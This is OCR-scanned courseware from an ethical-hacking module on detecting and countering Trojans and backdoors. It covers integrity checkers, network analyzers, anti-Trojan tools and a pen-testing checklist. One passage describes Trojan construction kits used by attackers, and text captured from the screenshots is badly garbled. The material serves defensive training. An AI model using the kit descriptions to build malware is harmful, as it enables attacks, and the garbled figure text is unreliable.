the same way, you can also find out whether your files had been damaged by viruses, network

issues, or CD/ DVD burning failures.
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FIGURE 6.62: FastSum

W inM D 5

Source: http://www .blisstonia.com

WinMD5 v2.0 is a Windows (98, 2000, XP, Vista, 7) wutility for computing the MDS5 hashes
("fingerprints™) of files. It also makes itvery easy to compare the fingerprints against the correct
fingerprints stored in an M D5SUM file. RedHat, for example, provides M D5SUM files for all of
its large downloadable files. These fingerprints can be used to ensure that your file is
uncorrupted.
WinMDS5 v2.07 (C) 2003-2006 by eolson@mit.edu
File Edit Options Help

Currently Processing: (idle)

Errors Found

(0 items enqueued)

Path | Hash | Bytes | Status
MD5SUM.md5 aeca3c951ddeal830ebe7cebab5de8cc 192 Loaded
ChangelLog.txt d73ff397a76f886e8c5a80b05223feel 1304 Good
CorruptFile.txt 63895264778b3ce92c57d0dff670f7c7 92 BAD
README. tx t e3d78080bfc49d89113c55cf4b7c4afb4 978 Good
WinMD5. exe 191c7c02a3206fdca2b79941¢c634d2b2 126976 Good

Clear Abort Number of known md5 hashes found in MD5SUM files: 4

Drag files and MD5SUM files (if available) into this window.
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Files and Folder Integrity
Checker CEH

Advanced Checksum Verifier .

Attribute Manager
(ACSV) L. http:/Aww.miklsoft.com
http:/Avww.imis.net

ji_ Fsum Fronted PA File Sight
y  http:/fsumfe.sourceforge.net http:/Aaw.poweradmin.com
Verisys CSP File Integrity Checker
> http:/Avww.ionx.co.uk € http://www.tandemsecurity.com
AFICK (Another File Integrity .
ExactFile
- Checker) http:/Amww.exactfile.com

http://afick.sourceforge.net

File Integrity Monitoring OSSEC
http:/Avww.ncircle.com http:/AMww.ossec.net

Anwl|
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Files and Folder Integrity Checkers

v Files and Folder Integrity Checkers monitor file integrity and identify the changes in
the critical files that intimate any potential intrusion attempts A few files and folder integrity

checkers are listed as follows:

0 Advanced Checksum Verifier (ACSV) available at http://www .irnis.net

0 Fsum Fronted available at http://fsumfe.sourceforge.net
0 Verisys available at http://www.ionx.co.uk
0 AFICK (Another File Integrity Checker) available at http://afick.sourceforge.net
0 File Integrity Monitoring available at http://www.ncircle.com
© Attribute M anager available at http://www .miklsoft.com
0 PA File Sight available at http://www.poweradmin.com
0 CSP File Integrity Checker available at http://www.tandemsecurity.com
0 ExactFile available at http://www.exactfile.com
0 OSSEC available at http://www.ossec.net
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Scanning for Suspicious
Network Activities CEH

J Trojans connect back to handlers and send confidential information

to attackers

J Use network scanners and packet sniffers to monitor network

traffic going to malicious remote addresses

J Run tools such as Capsa to monitor network traffic and look for

suspicious activities sent over the web
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Scanning for Suspicious N etwork Activities

After a malicious attack, the Trojans start sending the confidential data present on the

system to the attackers. Trojans connect back to handlers and send confidential information to
attackers. Use network scanners and packet sniffers to monitor network traffic going to
malicious remote addresses. In order to avoid these situations, it's always better to scan the

networks for suspicious activities. W ith the help of scanning utilities, you can know if the data
is being transferred to a malicious remote source. By using network scanning tools like Capsa,

you can identify such activities.
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Detecting Trojans and Worms CEH
with Capsa Network Analyzer

Capsa isan intuitive network analyzer, which provides detailed information to help check if

there are any Trojan activities on a network

http://www.colasoft.com
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Detecting Trojans and W orm s with Capsa Network Analyzer

Source: http://www.colasoft.com

Capsa is a network analyzer that provides enough information to help check if there is any
Trojan activity on a network. It is a portable network analyzer for LANS/WLANSsS that performs
packet capturing, network monitoring, advanced protocol analysis, in-depth packet decoding,

and automatic expert diagnosis.

Features of Capsa Network Analyzer include:

© Real-time capture and save data transmitted over local networks, including wired
network and wireless network like 802 .11a/b/g/n
Q M onitor network bandwidth and usage by capturing data packets transmitted over the

network and providing summary and decoding information about these packets

© View network statistics, allowing easy capture and interpretation of network utilization

data

e Monitor Internet, email, and instant messaging traffic, helping keep employee

productivity to a maximum
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e Diagnose and pinpoint netw ork problems in seconds by detecting and locating

suspicious hosts

e M ap out the details, including traffic, IP address, and MAC, of each host on the network,

allowing for easy identification of each host and the traffic that passes through each

© Visualize the entire network in an ellipse that shows the connections and traffic

between each host

FIGURE 6.64: Detecting Trojans and Worms with Capsa Network Analyzer
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M odule Flow

So far, we have discussed various Trojans and the ways they infect the system
resources or information stored on the computer, as well as ways to detect Trojans on a
computer. Once you detect a Trojan, you should immediately delete it and apply
countermeasures that offer protection against Trojans and backdoors. These countermeasures
minimize risk and provide complete protection to the user's system .

Trojan Concepts Countermeasures
( Trojans Infection [jiplil Anti-Trojan Software

Types of Trojans

Trojan Detection
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prevent Trojans and backdoors from

This section highlights various countermeasures that

entering into your system.
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Avoid opening email
attachments received from
unknown senders

Avoid accepting the
Block all unnecessary ports ¢ " d b
at the host and firewall programs rans erre 4
instant messaging

Harden weak, default
configuration settings

Disable unused
functionality including
protocols and services

Monitor the internal
network traffic for odd
ports or encrypted traffic
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Trojan C ounterm easures

A Trojan is a malicious program that masquerades as a genuine application. W hen

these Trojans are activated, they lead to many issues such as erasing data, replacing data on a

victim's computer, corrupting files, spreading viruses, and spying on the victim's system and

secretly reporting the data, recording keystrokes to steal sensitive information such as credit

card number, user names, passwords etc. and opening a backdoor on the victim's system for

carrying out precarious activities in the future. In order to prevent such activities and reduce

the risks against Trojans, the following countermeasure should be adopted:

0 Avoid opening email attachments received from unknown senders

0 Block all unnecessary ports at the host and firewall

0 Avoid accepting the programs transferred by instant messaging

0 Harden weak, default configuration settings

0 Disable unused functionality including protocols and services

0 M onitor the internal network traffic for odd ports or encrypted traffic
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Trojan Countermeasures gy

(C ont ’d) / citiwd  ittxjd =U.U.

Avoid downloading and Install patches and security ~ Scan CDs and floppy
executing applications updates for the operating disks with antivirus
from untrusted sources  systems and applications software before using

Avoid typing the commands  Manage local workstation Run host-based antivirus,
blindly and implementing file integrity through firewall, and intrusion
pre-fabricated programs or  checksums, auditing, and detection software
scripts port scanning
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Trojan Countermeasures (Cont'd)

9 Avoid downloading and executing applications from untrusted sources
9 Install patches and security updates for the operating systems and applications
9 Scan CDs and floppy disks with antivirus software before using

9 Restrict permissions within the desktop environment to prevent malicious applications
installation

9 Avoid typing the commands blindly and implementing pre-fabricated programs or
scripts

9 Manage local workstation file integrity through checksums, auditing, and port scanning

9 Run local versions of antivirus, firewall, and intrusion detection software on the desktop
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Backdoor Countermeasures CEH

urtifM  tUx*I 1IMhe(

Most commercial anti-virus products can automatically scan and detect
backdoor programs before they can cause damage

Educate users not to install applications downloaded from untrusted Internet
m sites and email attachments

Use anti-virus tools such as Windows Defender, McAfee, and Norton to detect
and eliminate backdoors
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Backdoor Countermeasures

Perhaps the old adage "anounce of prevention isworth a pound of cure" is relevant
here. Some backdoor countermeasures are:

0 The first line of defense is to educate users regarding the dangers of installing
applications downloaded from the Internet, and to be cautious if they have to open

email attachments.

0 The second line of defense can be antivirus products that are capable of recognizing

Trojan signatures. The updates should be regularly applied over the network.

0 The third line of defense comes from keeping application versions updated by the

following security patches and vulnerability announcements.

Use antivirus tools such as Windows Defender, McAfee, and Norton to detect and eliminate

backdoors.
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Construct Trojan Trojan Execution Trojan Horse
Construction Kits

Trojan Horse construction The tools in these kits can Trojan Horse Construction Kit
kits help attackers to be dangerous and can Progenic Mail Trojan
construct Trojan horses of backfire if not executed Construction Kit - PMT

their choice properly Pandora's Box

411

© ©
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Trojan Horse Construction Kits

These kits help attackers construct Trojan horses of their choice. The tools in these
kits can be dangerous and can backfire if not executed properly. Some of the Trojan Kits

available in the wild are as follows:

9 The Trojan Horse Construction Kit v2.0 consists of three EXE files: Thck-tc.exe, Thck-
fp.exe, and Thck-tbc.exe. Thck.exe is the actual Trojan constructor. With this command-
line utility, the attacker can construct a Trojan horse of his or her choice. Thck-fp.exe is a
file size manipulator. With this, the attacker can create files of any length, pad out files
to a specific length, or even append a certain number of bytes to a file. Thck-tbc.exe will

turn any COM program into a Time Bomb.

9 The Progenic Mail Trojan Construction Kit (PMT) is a command-line utility that allows

an attacker to create an EXE (PM.exe) to send to a victim.

9 Pandora's Box is a program designed to create Trojans/time bombs.
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Anti-Trojan
: Trojan Infection
Software
**S Countermeasures Types of Trojans

Trojan Detection

/
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Il M odule Flow

lu § Prior to this, we have discussed various countermeasures that offer protection to your
computer system and the information stored on it against various malware such as Trojans and
backdoors. In addition to these, there is anti-Trojan software that can protect your computer
systems and other information assets against Trojans and backdoors. Anti-Trojan software

deals with removing or deactivating malware.

Trojan Concepts Countermeasures
e Trojans Infection Anti-Trojan Software
s — Types of Trojans " Penetration Testing
Vo —
f' Trojan Detection

This section lists and describes various anti-Trojan software programs.
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A nti-Trojan Software
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TrojanH unter

TrojanHunter is an advanced malware scanner that detects all sorts of malware such as Trojans,
spyware, adware, and dialers

) TrojanHunter '"-LeT x
Memory scanning for File View Seen JOOIS Help
detecting any modified variant of
) R R \ \ g * 6uy TrojanHunter Now - Cicic Here!
a particular build of a Trojan FjlEcar  QjckScan  Update Bat

Registry scanning for detecting traces

of Trojans in the registry .I l ' mb

Inifile scanning for detecting traces
of Trojans in configuration files AChar... dow

O F&nava» 'l file: CAJser3\AdrhVkaoOeto\. KOINTOTOWx.cxcAJOK. fyvihwyb (Aocnt.2989)
W PQJ 10 VOtdn*fe: C V/rtlowstfysWOM64y1'CAFEE. EKE (RIshvare. TVtyProwv. 10C)
TrojanHunter Guard for resident

memory scanning - detect any Trojans
if they manage to start up

http ://www. trojanhunter. com
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Anti-Trojan Software: TrojanHunter
Source: http://www.trojanhunter.com

TrojanHunter is a malware scanner that detects and removes all sorts of malware, such as
Trojans, spyware, adware, and dialers, from your computer.

Some of TrojanHunter's features include:
0 High-speed file scan engine capable of detecting modified Trojans
0 Memory scanning for detecting any modified variant of a particular buildofa Trojan
0 Registry scanning for detecting traces of Trojans in the registry
0 Inifile scanning for detecting traces of Trojans in configuration files
0 Port scanning for detecting open Trojan ports

0 The Advanced Trojan Analyzer, an exclusive feature of TrojanHunter, isable to find

whole classes of Trojans using advanced scanning techniques

0 TrojanHunter Guard for resident memory scanning - detect any Trojans if they manage
to start up

0 LiveUpdate utility for effortless ruleset updating via the Internet

Module 06 Page 994 Ethical Hacking and Countermeasures Copyright © by EC-COUNCil
All Rights Reserved. Reproduction is Strictly Prohibited.


http://www.trojanhunter.com

Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Trojans and Backdoors

9 Process list giving details about every running process on the system, including the path
to the actual executable file

0 Accurate removal of all detected Trojans - even if they are running or if the Trojan has

injected itself into another process

TrojanHunter LjirJd
File View Scan Tools Help
0 mh a Buy TrojanHunter Now - Click Here!
Full Scan Quick Scan Update Exit
Objects scanned: 147791
Trojans found: 2
> Clean. Close

(U) Found trojan file: C:\Users\Admin\AppDataV/-Ocal\TempVjpx.exeAJpx.fyvzhwyb (Agent.2989)
10 Found trojan file: C:\W.1ndows\$ysWOWB4V>1CAFEE.EXE (Rjskware. TinyProxy. 100)

FIGURE 6.65: TrojanHunter Anti-Trojan Software
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A nti-Trojan Software: Em sisoft

CEH

A nti-M alw are

Emsisoft Anti-Malware provides

Emsisoft ANTI-MALWARE

PC protection against viruses,
Trojans, spyware, adware, worms,

bots, keyloggers, and rootkits =] SCANCOMRUTER

Two combined scanners for Scannedobjects  *07-163  Detccted objects: 317  Renofeb objects: 4

cleaning: Anti-Virus and Anti- Scanning: Sarrohcd”
Malware Oiagntnn Detaih

62 registrykeys “ircdium i< a
. S ) detectedbeaticr?..
Three guards against new

B lraicJtauatnriCf5) (A) 16 regstry keys ~mrdium Mt I'Scan finished!
. . e . Gt We* el detected beaticrs...
infections: file guard, behavior fO U TraicJtamtreJiMaiYr Svstan Pmtnifd If there %jcbeer any Malwere
. £ Vier Jd ¢ x:*dlo~*Jer 3. ind on vour PC. rwi tan
blocker, and surf protection Id Troiaa.Genenus515373 TO) 2fies " highrisk obiainrare rbraiatkMon**
C \zn Jde'e.tedk>.3X>5.. obout eoch OctectrC Malnare.
Cld< the IMImo ftie detected
'& 1d YD5.TroiaikNuoUD (0) 2 fifes whighrisk nalwarcto  SrcOm<nply”
(E \tzr Jdc'.c.rdb.aXfs. Inanew Inow* wndorv.
1d JSIwcc(s) 2fits =Highrisk
1 Cltk on Viow 0L detected
Mjtptctottc M*t Have been detected during the locittorV oget aKt o' «lkxitd
eocroorcnts hat arc cotcc »
the Mfll'tip rae.
Cebot oxbjeas you /ran; to
quaramw - thendrfcfe  —
TlirtMtrr cHereH MerN”
© 2a03-2D:2ErKB=#r ASout +ftc twa’e

http://www.emsisoft.com
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Anti-Trojan Software: Em sisoft Anti-M alw are
Source: http://www.emsisoft.com

Emsisoft Anti-Malware provides reliable protection of your system against various threats such
as viruses, Trojans, spyware, adware, worms, bots, keyloggers, and rootkits. It has two
combined scanners (antivirus and anti-malware) for cleaning infection and three guards against
new infections: file guard, behavior blocker, and surf protection.
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Emsisoft ANTI'MALWARE

SCAN COVPUTER

Ro
=
—
«
w_

Scanned objects: 497483 Detected objects: 317 Removed objects: 0

Seanning: Scan finished!

Diagnosis Details

Pl Trace.Reqistrv-Windows Password (A) 62 registry keys - medium risk A
9 View all detected locations...

pi Trace.Reaistrv.LCP 5.0 fA) 16 registry keys - medium risk Scan finished!
ffl View all detected locations...

HTI Trace.Reaistrv.Proactive Svstem Password Re<15 reoistrv kevs - medium risk If there has been any Malware
5) View all detected locations... found on your PC, you can
W| Troian.Generic.5515373 (B) 2 files - high risk b obtain more information online
. . about each detected Malware.
ffl View all detected locations... .
X ) . . Click the name of the detected
0 VBS.Troian.Noob.BfB) 2 files - high risk malware to view the description
ffl View all detected locations... in anew browser window.
0 sa&axccxs) 2 files - high risk v

Clide on "View all detected
locations’ to get a listofall found
components that are related to
the Malware name.

Suspicious files have been detected during the scan.

Select all objects you want to
quarantine and then didc the
Oiiflrantinp viprtpH nhiprfc’

© 2003-2012 Emsisoft About this software

FIGURE 6.66: Emsisoft Anti-Malware
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t'-‘Tro'%Pi ﬂield (ATS) AREfighter
anDo ﬁE]) ______ + Mﬂn
pH are Doctor ntj, Trojan Elite

r$[[L‘J]7>‘ERAntiSﬁ$are

> <

%}‘Malwari BOClean

7 [Wn: | ﬁﬁ]]t)‘ Ha?kgr .m:m TI ﬁo'mn Re;ﬂover

SE . Twister Antjyirus
H ﬁﬁ]’?ﬁ%ﬁdcgaﬂn hIVrVJ/X/W\ﬁAm%mn
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* Anti-Trojan Software

Anti-Trojan software provides protection to your computer system and the
information stored on it by blocking various malicious threats such as Trojans, worms, viruses,
backdoors, malicious ActiveX controls, and Java applets to enter your system. A few of the anti-
Trojan software programs that are used for the purpose of killing malware are listed as follows:

0 Anti-Trojan Shield (ATS) available at http://www.atshield.com

0 Spyware Doctor available at http:// www.pctools.com

0 Anti Malware BOClean available at http://www.comodo.com

0 Anti Hacker available at http:// www.hide-mv-ip.com

0 XoftSpySE available at http://www.paretologic.com

0 SPYWAREfighter available at http://www.spamfighter.com

0 Anti Trojan Elite available at http://www.remove-troian.com

0 SUPERAnNtiSpyware available at http://www.superantispyware.com

0 Troian Remover available at http://www.simplysup.com

0 Twister Antivirus available at http://www.filseclab.com
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Trojan Infection

**S Countermeasures Types of Trojans

A

*xr Trojan Detection

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

M odule Flow

As a penetration tester, you should follow the same strategies as that of an attacker
to test your network or system against Trojan and backdoor attacks. You should perform all the
available attacking techniques including the newly emerged attacking techniques. This allows
you to figure out the loopholes or vulnerabilities in the target organization's security. If you find
any vulnerabilities or loopholes, you should suggest countermeasures that can make the

organization's security better and stronger.

Trojan Concepts Countermeasures
d e Trojans Infection [IIIIr Anti-Trojan Software
I/— Types of Trojans Penetration Testing

Y' Trojan Detection
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B ackdoors

Use tools such as 0 Scan the system for open ports,
TCPViewand running processes, registry entries,
CurrPorts device drivers and services

0 Ifany suspicious port, process,

registry entry, device driver or

Scan for running Use tools such as service is discovered, check the
Processes W hat's Running associated executable files

0 Collect more information about
these from publisher's websites, if

. available, and Internet
Scan for registry Use tools such as
jv16 Power Tools 2012 and .
entries ! 0 Check ifthe open ports are known

PC Tools Registry Mechanic R R R
to be opened by Trojans in wild

Scan for device Use tools such as

drivers installed DriverView and

on the computer Driver Detective

Scan for Windows Use tools such as
services SrvMan and ServiWin
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Pen Testing for Trojans and Backdoors

Step 1: Scan for open ports

Open ports are the primary sources to launch attacks. Therefore, in an attempt to make your
network secure by conducting pen testing, you should find the open ports and protect them.
You can find the unnecessary open ports by scanning for open ports. For this purpose, you can

use the tools such as TCPView and CurrPorts.
Step 2: Scan for running processes

Most Trojans don't require the user to start the process. They start automatically and don't
even notify the user. This kind of Trojan can be detected by scanning for running processes. In
order to scan for running processes, you can use tools such as What's Running, which scans
your system and lists all currently active programs, processes, services, modules, and network

connections. It also includes special areas to display startup programs.
Step 3: Scan for registry entries

A few Trojans run in the background without any notification to the system's user. If you want
to test for such Trojans, then you should scan for registry entries. This can be done with the

help of tools such as JV Power Tools and PC Tools Registry Mechanic.
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Step 4: Scan for device drivers installed on the computer

In order to control the hardware, most modern OSes use their own device drivers. Attackers
can take advantage of this situation to spread Trojans and backdoors through device driver

files. Trojans spread through device drivers infect the device driver files and other processes.
Step 5: Scan for Windows services

If you find any of the Windows services suspicious, then check the associated executable files.
To scan Windows services, you can use the tools such as SrvMan and ServiWin.
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Step 6: Scan for startup programs

Some Trojans run automatically when you start Windows. Therefore, scan for Startup programs
using tools such as Starter, Security AutoRun, and Autoruns and check the listed startup
programs and determine if all the programs in the list can be recognized with known

functionalities.
Step 7: Scan for files and folders

The easy way for an attacker to hack a system is with the use of files embedded with Trojan
packages. Firewalls, IDSes, and other security mechanisms may fail to prevent this kind of
attack. Therefore, you need to scan all files and folders for Trojans and backdoors. You can scan
files and folders using tools such as FCIV, TRIPWIRE, SIGVERIF, FastSum, and WinMD5.

Step 8: Scan for network activities

Network activities such as upload of bulk files or unusually high traffic going to a particular web
address may sometimes represent a sign of Trojan. You should scan for such network activities.

Tools such as Capsa Network Analyzer can be used for this purpose.
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Step 9: Scan for modification to OS files

Check the critical OS file modification or manipulation using tools such as TRIPWIRE or
manually compare hash values if you have a backup copy.

Step 10: Run Trojan Scanner to detect Trojans

Trojan scanners such as Trojan Hunter and Emsisoft Anti-Malware are readily available in the

market. You can install and run those Trojan scanners to detect Trojans on your system.
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Pen Testing for Trojans and

CEH

B ackdoors (Contd)

If Trojans 0 Document all your findings in
Document all the > are NO previous steps; it helps in
findings detected? A determining the next action if
Trojans are identified in the
system
YES 0 Isolate infected system from
the network immediately to
Isolate the machine prevent further infection
from network 9 Sanitize the complete system

for Trojans using an updated
anti-virus

solution to clean
Trojans
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Pen Testing for Trojans and Backdoors (Cont’'d)

Step 11: Document all the findings

Once you conduct all possible tests to find the Trojans, document all the findings that you
obtain at each test for analysis and check if there is any sign of a Trojan.

Step 12: Isolate the machine from the network

When you find a Trojan on a machine, you should isolate the machine immediately from the
network before it takes control over other systems in the network. Check whether the antivirus

software is updated or not.

If the antivirus is not updated, then update it and then run it to scan the system. If the antivirus
is already updated, then find other antivirus solutions to clean Trojans.
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Module Summary CEH

1 Trojans are malicious pieces of code that carry cracker software to
atarget system

0O They are used primarily to gain and retain access on the target system

0O They often reside deep in the system and make registry changes that allow them to
meet their purpose as a remote administration tool

O Popular Trojans include MoSucker, RemoteByMail, lllusion Bot, and Zeus
O Awareness and preventive measures are the best defences against Trojans

0O Using anti-Trojan tools such as TrojanHunter and Emsisoft Anti-Malware to detect
and eliminate Trojans
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M odule Summary
9 Trojans are malicious pieces of code that carry cracker software to atarget system.
© They are used primarily to gain and retain access on the target system.

9 They often reside deep in the system and make registry changes that allow them to
meet their purpose as aremote administration tool.

0 Popular Trojans include MoSucker, RemoteByMail, Illusion Bot, and Zeus.
0 Awareness and preventive measures are the best defences against Trojans.

9 Using anti-Trojan tools such as TrojanHunter and Emsisoft Anti-Malware to detect and
eliminate Trojans.
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